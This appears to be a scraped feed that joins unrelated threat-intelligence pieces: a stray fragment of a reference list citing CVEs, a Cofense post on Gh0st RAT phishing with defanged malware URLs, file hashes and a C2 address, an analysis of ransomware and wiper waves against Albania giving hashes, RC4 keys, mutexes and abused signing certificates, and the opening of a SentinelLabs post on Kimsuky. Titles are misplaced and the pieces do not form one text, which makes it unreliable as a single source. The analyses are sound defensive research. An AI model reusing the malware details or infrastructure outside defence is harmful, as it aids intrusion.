https://nvd.nist.gov/vuln/detail/CVE-2020-2551 (accessed Apr. 28, 2023).


[16] “NVD - CVE-2021-44228.”


https://nvd.nist.gov/vuln/detail/CVE-2021-44228 (accessed Apr. 28, 2023).


[17] “NVD - CVE-2022-39197.”


https://nvd.nist.gov/vuln/detail/CVE-2022-39197 (accessed Apr. 28, 2023).


[18] “SONAS 松山科技,” 開啟無接觸接待體驗與旅程, Feb. 12, 2023. /


(accessed May 08, 2023).


[19] “Directorate General of Highways, MOTC.” https://www.thb.gov.tw/en/ (accessed Apr. 28, 2023).


[20] “Budworm: Espionage Group Returns to Targeting U.S. Organizations.”


https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/budworm-espionage-us-state (accessed May 08, 2023).


Found in Environments Protected By: Proofpoint By Nathaniel Raymond, Cofense Intelligence Gh0st RAT, a decades-old open-source remote administration tool (RAT), recently appeared in phishing campaigns targeting a healthcare organization.

OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release


Remote Administration Tool was created by a Chinese hacking group named C. Rufus Security Team that released it publicly in 2008.


The public release of Gh0st RAT source code made it easy for threat actors to obtain and tailor the tool to their needs.


Its feature set expanded over the years to include various surveillance, persistence, and information-stealing capabilities: Taking full control of the infected machine Recording keystrokes in real time with offline logging available Accessing live web cam feeds including microphone recording Downloading files remotely Remote shutdown and reboot Disabling user input Over Gh0st RAT’s long life, Chinese nation-state threat actors have used it to breach high-value targets such as governments, embassies, economic targets, and media.


One such breach was the operation known as “GhostNet” in 2009, in which a large-scale cyber-attack used Gh0st RAT to conduct surveillance and espionage.


The breach impacted the Dalai Lama’s Tibetan exile centers in multiple countries.


Although Gh0st RAT was first identified in reports of threat activity almost 15 years ago, it is still actively distributed today.


Cofense Intelligence identified an email targeting a European-owned medical technology organization located in China, attempting to deliver Gh0st RAT via an embedded link.


The embedded link that hosted the malware was affiliated with Tencent and based in Hong Kong.


The sample’s command and control (C2) server is also located on the CHINANET Jiangsu province network in the city of Nanjing.


Figure 1: A screenshot of the recent phishing email used to deliver Gh0st RAT via an embedded link.


Figure 2: A translation of the body of the recent Gh0st RAT campaign shows that it used an unpaid invoice as a theme.


Although Ghost RAT has a history of use by nation-state threat actors, Cofense Intelligence does not have conclusive evidence that this recent campaign is associated with known nation-state activity.


The activity we observed activity shares certain characteristics with some advanced persistent threat (APT) groups, including APT27, which is known for intellectual property theft against healthcare and technology companies, and is also known for the use of Gh0st RAT.


However, since Gh0st RAT’s source code is publicly available, it remains plausible that any threat actor could download and modify the code for their own needs.


With Chinese universities (including more than one in Nanjing) being heavily involved in training talent for the Chinese defense industry, it is also plausible that students or other threat actors that are at times associated with APT groups may be carrying out independent threat activity using tools they are familiar with.


Figure 3: Details of the recent Gh0st RAT sample’s C2 server on the network information service Shodan.


Indicators of Compromise Files 1680478346389.zip MD5: 9e6c45b6b8b20bf3c5959dbba8f27117 LiveUpdate360.dat MD5: f149d3f3ef0361ebe4d346811f29b527 LiveUpdate.exe MD5: 96e4b47a136910d6f588b40d872e7f9d setting.ini MD5: 91aab4bbe634be62d11d132738c23a82 SqlVersion9.dll MD5: 317f9ff06c076e87e5b1d11242396d5f ú¿╡τ-╫╙-╖ó-╞▒ú⌐.exe MD5: 4723a2a8f68c1eaf82809cff29b8e56f URLs hxxps://api[.]youkesdt[.]asia/admin/down/hash/79b7c6ed-c4d8-4b36-b1cd-f968e6570010 hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/SqlVersion9[.]dll hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/Media[.]xml hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/LiveUpdate360[.]dat hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/LiveUpdate[.]exe hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/223[.]114[.]txt Command and Control hxxp://61[.]160[.]223[.]114:18076 All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks.


Any observations contained in this blog regarding circumvention of end point protections are based on observations at a point in time based on a specific set of system configurations.


Subsequent updates or different configurations may be effective at stopping these or similar threats.


Past performance is not indicative of future results.


The Cofense:registered: and PhishMe:registered: names and logos, as well as any other Cofense product or service names or logos displayed on this blog are registered trademarks or trademarks of Cofense Inc.


The post Open-Source Gh0st RAT Still Haunting Inboxes 15 Years After Release appeared first on Cofense.


Introduction On July 17, 2022, Albanian news outlets reported a massive cyberattack that affected Albanian government e-services.

Stolen certificates in two waves of ransomware and wiper attacks


A few weeks later, it was revealed that the cyberattacks were part of a coordinated effort likely intended to cripple the country’s computer systems.


On September 10, 2022, Albanian local news reported a second wave of cyberattacks targeting Albania’s TIMS, ADAM and MEMEX systems – the latter two systems critical for law enforcement – reportedly using the same attack type and by the same actors.


Around the same time, we identified ransomware and wiper malware samples resembling those used in the first wave, though with a few interesting modifications that likely allowed evasion of security controls and better attack speeds.


Chief among those changes are the embedding of a raw disk driver, providing direct hard disk access inside the malware itself, modified metadata, and the use of Nvidia’s leaked code signing certificate to sign the malware.


So, what’s new in this blogpost?


We compare the first and second waves of ransomware and wiper malware used to target Albanian entities and detail connections with previously known ROADSWEEP ransomware and ZEROCLEARE variants.


The threat actors used certificates from Nvidia and Kuwait Telecommunications Company to sign their malware; the former was already leaked, but we’re not sure how they got their hands on the latter.


We identified potential cooperation between different attack groups speaking different languages, and the possible use of AnyDesk as an initial entry point to start the ransomware/wiper infections.


The changes implemented to automate and speed up wiping in the second wave of attacks are reminiscent of the notorious Shamoon wiper attacks in the Middle East.


Wiper and ransomware, comparing wave 1 and wave 2 Below, we compare and discuss the differences between the wave 1 and wave 2 ransomware and wiper malware.


Initial Infection – traces of cooperation between different attack groups and use of AnyDesk utility


Although we weren’t able to identify the initial entry point of the threat actor in the analyzed intrusion, a few days after the second wave wiping activities, we noticed underground chatter about someone having access to an AnyDesk account at another non-governmental but significant Albanian entity, and suggestions for Persian-speaking hackers to use it for deploying ransomware or wiper malware.


This may increase the likelihood that the initial entry point for wave 2 is through legitimate remote access software such as AnyDesk, especially since we know that the wave 2 wiper modifications included automatic execution upon driver installation only – potential need for urgency due to the limited time/access window.


The attackers and access provider seemed to belong to different attack groups and spoke different languages.


The ransomware – use of Kuwait Telecommunications Company signing certificate MD5 96eabcc77a6734ea8587599685fbf1b4 SHA1 6a36962709abbfc1f88f87e7fe88a417302bfe43 SHA256 8ad01b028e6aa711d26879d346a7bef82516e372e0f14e8e69db6aef0f25d992 Imphash 653ee44c85bc91d12ec33dfed8056c27 Link time Wed Jul 06 21:30:41 2016 File type 32-bit executable Compiler MinGW-w32 gcc File size 45.48 KB File name PdftoDoc.exe This second wave sample has the same signing certificate parameters as the first wave sample, which is related to Kuwait Telecommunications Company.


It’s unclear how the threat actor was able to sign its malware using Kuwait Telecommunications Company’s certificate, but we suspect it was stolen.


As of the date of this publication, the certificate is no longer valid and has been revoked.


After the initial execution, the wave 2 ransomware checks for any six arguments (or more) supplied by the threat actor, as opposed to the wave 1 sample that checks for five arguments or more – a small modification that assists in defense evasion.


Nevertheless, the intrusion analysis conducted on one of the affected machines indicates that in wave 2 the threat actor did not use a BAT file to invoke the ransomware while supplying seven digits similar to wave 1, but instead invoked the wave 2 ransomware immediately from the command line using six zeroes: “000000”.


If ransomware execution fails because the correct arguments are not supplied, the wave 2 sample displays a different message from that of wave 1; the wave 2 message resembles an error message displayed by a PDF to DOC converter.


Wave 1 sample – messaging after failed execution Wave 2 sample – different messaging after failed execution The wave 2 ransomware sample continues execution and checks for the mutex Screenlimitsdevices#77!;, a value that differs from the wave 1 sample’s mutex:abcdefghijklmnoklmnopqrstuvwxyz01234567890abcdefghijklmnopqrstuvwxyz01234567890 Although we call this malware ransomware based on its behavior, the encrypted files are, in fact, unrecoverable.


When comparing wave 2 ransomware samples to wave 1, we notice that both have the same , and both use CreateFile and WriteFile APIs to overwrite files.


During the process of execution, wave 2 ransomware attempts to decrypt and execute embedded scripts, malware settings or API function names.


The encryption algorithm used is RC4 in both wave 1 and wave 2.


However, the RC4 key for decryption in wave 2 has been changed in another attempt to evade detection.


Wave 1 RC4 key: 8C E4 B1 6B 22 B5 88 94 AA 86 C4 21 E8 75 9D F3 Wave 2 RC4 key: F0 B4 ED D9 43 F5 C8 43 C9 D0 A2 4F 22 9B BC 3A It’s worth noting that in both waves, the RC4 decryption method uses CryptoAPI (CryptDecrypt) instead of the usual substitution box method.


The intrusion we analyzed in wave 2 indicates that the ransomware was probably deployed over the internal network, possibly from another compromised machine.


This is reinforced by the fact that we didn’t see anything else dropped or executed before the ransomware execution, and the ransomware executable name was randomly generated, potentially by the tool the threat actor used to deploy it over the network (e.g., Mellona.exe).


Despite all the changes made in the wave 2 ransomware, the ransom notes remained the same and included political messaging that reflects the geopolitical tensions between Albania and Iran.


Ransom note in both wave 1 and wave 2 ransomware The wiper – use of Nvidia signing certificate MD5 64cb923be15ae255b82e7ebcf24ccfc5 SHA1 e1b8b72fbd1e3b9bbf8bebd2e14a3f2e071c6048 SHA256 d8ec8ec8dfa582c44e81b8a7fcc44defc3d2fa658f75fa495124aedc3b0db367 Imphash 81CA8B811412284938148FC4F2A76C09 Link time 0x6319C758 (Thu Sep 08 03:43:36 2022)


File type PE 64-bit Compiler Microsoft Visual C/C++ File size 174.00 KB File name DiskSnapshot.exe Driver PDB path c:\projects\rawdisk\bin\wnet\fre\amd64\rawdsk3.pdb Driver key B4B615C28CCD059CF8ED1ABF1C71FE03C0354522990AF63ADF3C911E2287A4B906D47D Similar to the wave 2 ransomware sample, the threat actor made several modifications to the wave 2 wiper malware, probably to evade detection.


The three main changes are: Modified malware signing Embedding of EldoS RawDisk driver inside the wiper malware Automatic wiping after driver installation command Historically, in ZEROCLEARE and DUSTMAN incidents from 2019, the wiper malware and raw disk drivers were not signed and therefore could not directly access the raw disk for speedy data wiping.


So, the wipers had to use a third-party loader such as TDL – a signed loader for unsigned drivers – to install the unsigned raw disk driver that allows the wiper malware to directly access the raw disk for wiping data using DeviceControl API methods.


However, in the first attack wave targeting Albania, the threat actor signed the wave 1 wiper using the Kuwait Telecommunications Company certificate, thus removing the need for a third-party loader.


The speed and automation improvements remind us of previous Shamoon operations in the Middle East.


Since the wave 1 wipers were exposed in July 2022, and likely to avoid static detections, the threat actor used Nvidia’s leaked signing certificate to sign the wave 2 wiper in September 2022, again eliminating the need for a third-party loader for the raw disk driver.


In wave 1, the wiper malware expected to find the raw disk driver in the execution directory or in the system directory.


The driver wasn’t dropped by the wiper, and the threat actor likely dropped it using other means.


Conversely, in wave 2 the threat actor embedded the signed raw disk driver in the wiper executable, dropped it and then installed it.


In addition, the driver being used by the threat actor in wave 2 seems to copy metadata and a few functions from Microsoft’s diskdump.sys crash dump driver[1] (version 10.0.19041.1682) as another means to avoid detections.


The wiping activity starts automatically after the driver installation command; as opposed to the wave 1 wiper, where installation is one step and wiping execution is a second step.


Finally, for the most part, wave 1 and wave 2 wipers remained the same, including the reliance on the same authentication key to access the raw disk driver, and the use of the same DeviceControl API methods, but with one exception, as shown below.


It’s worth noting that the method IOCTL_DISK_GET_LENGTH_INFO is exclusive to all Persian-speaking APT wipers.


Wave 1 wiper DeviceControl API methods: IOCTL_DISK_GET_DRIVE_GEOMETRY_EX IOCTL_DISK_GET_DRIVE_GEOMETRY IOCTL_DISK_GET_LENGTH_INFO Wave 2 wiper DeviceControl API methods: IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS (new method in wave 2; used in multiple instances) IOCTL_DISK_GET_DRIVE_GEOMETRY IOCTL_DISK_GET_LENGTH_INFO Based on our telemetry, we suspect the infections are associated with law enforcement institutions in Albania.


This targeting is consistent with the previous wave of cyberattacks affecting the Albanian government during the July 2022 wave of cyberattacks.


Conclusions In this publication, we discussed the changes made to the second wave of ransomware and wiper samples that targeted Albanian institutions to evade detection and inflict maximum damage.


Aside from the changes made to evade detection in wave 2, we suspect that the threat actors needed an automated and speedy wiper execution.


In wave 2, the raw disk driver was embedded inside the malware and the wiping routine started immediately after driver installation, as opposed to the wave 1 procedure.


This is reminiscent of Shamoon operations in the Middle East.


Finally, for defenders we can highlight two important elements from the intrusion and malware analysis presented here: Monitor for remote software activities such as AnyDesk for unauthorized use Always hunt and monitor for expired and/or leaked signing certificates as they can be used by threat actors to load and execute malware Threat detection


The detection logic has been improved in all our solutions to ensure that our customers remain protected.


We continue to investigate this threat using our Threat Intelligence and we will add additional detection logic once they are available.


Our products protect against this threat and detect it with the following names:


HEUR:Trojan-Ransom.


Win32.Agent.gen Trojan-Ransom.Win32.Gen.aghh Trojan-Ransom.Win64.Agent.dpf Trojan.Win32.Agentb.kzkj Indicators of compromise File hashes (malicious documents, Trojans, emails, decoys) Ransomware Wiper Driver Signing certificates serial numbers 14 78 1B C8 62 E8 DC 50 3A 55


93 46 F5 DC C5 18 Nvidia certificate 01 FD D0 93


F6 50 87 F4 E9 AE 11 ED 65 0D 83 E8 Kuwait Telecommunications company certificate [1] Original, legitimate driver’s MD5 is 015caeec9148194054b5b1de64762a43


Executive Summary SentinelLabs has been tracking a social engineering campaign by the North Korean APT group Kimsuky targeting experts in North Korean affairs, part of a broader campaign discussed in a recent NSA advisory.

Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence


The campaign has the objective of stealing Google and subscription credentials of a reputable news and analysis service focusing on North Korea, as well as delivering reconnaissance malware.


Kimsuky engages in extensive email correspondence and uses spoofed URLs, websites imitating legitimate web platforms, and Office documents weaponized with the ReconShark malware.


This activity indicates Kimsuky’s growing dedication to social engineering and highlights the group’s increasing interest in gathering strategic intelligence.


In collaboration with NK News, a leading subscription-based service that provides news and analyses about North Korea, SentinelLabs has been tracking a targeted social engineering campaign against experts in North Korean affairs from the non-government sector.


The campaign focuses on theft of email credentials, delivery of reconnaissance malware, and theft of NK News subscription credentials.


Based on the used malware, infrastructure, and tactics, we assess with high confidence that the campaign has been orchestrated by the Kimsuky threat actor.


The social engineering tactics and some infrastructure characteristics closely relate to a Kimsuky activity privately reported by PwC and discussed in an NSA advisory published during the writing of this article.


We focus on the specific targeting of expert analysts of North Korean affairs by impersonating NK News and stealing NK News credentials, and provide details on used TTPs to support collaborative hunting and detection efforts.


Kimsuky, a suspected North Korean advanced persistent threat (APT) group whose activities align with the interests of the North Korean government, is known for its global targeting of organizations and individuals.


Operating since at least 2012, the group often employs targeted phishing and social engineering tactics to gather intelligence and access sensitive information.


A hallmark of the activity we discuss in this post is Kimsuky’s focus on establishing initial contact and developing a rapport with their targets prior to initiating malicious activities.


As part of their initial contact strategy, the group impersonated Chad O’Carroll, the founder of NK News and the associated holding company Korea Risk Group, using an attacker-created domain, nknews[.]pro, which closely resembles the legitimate NK News domain nknews.org.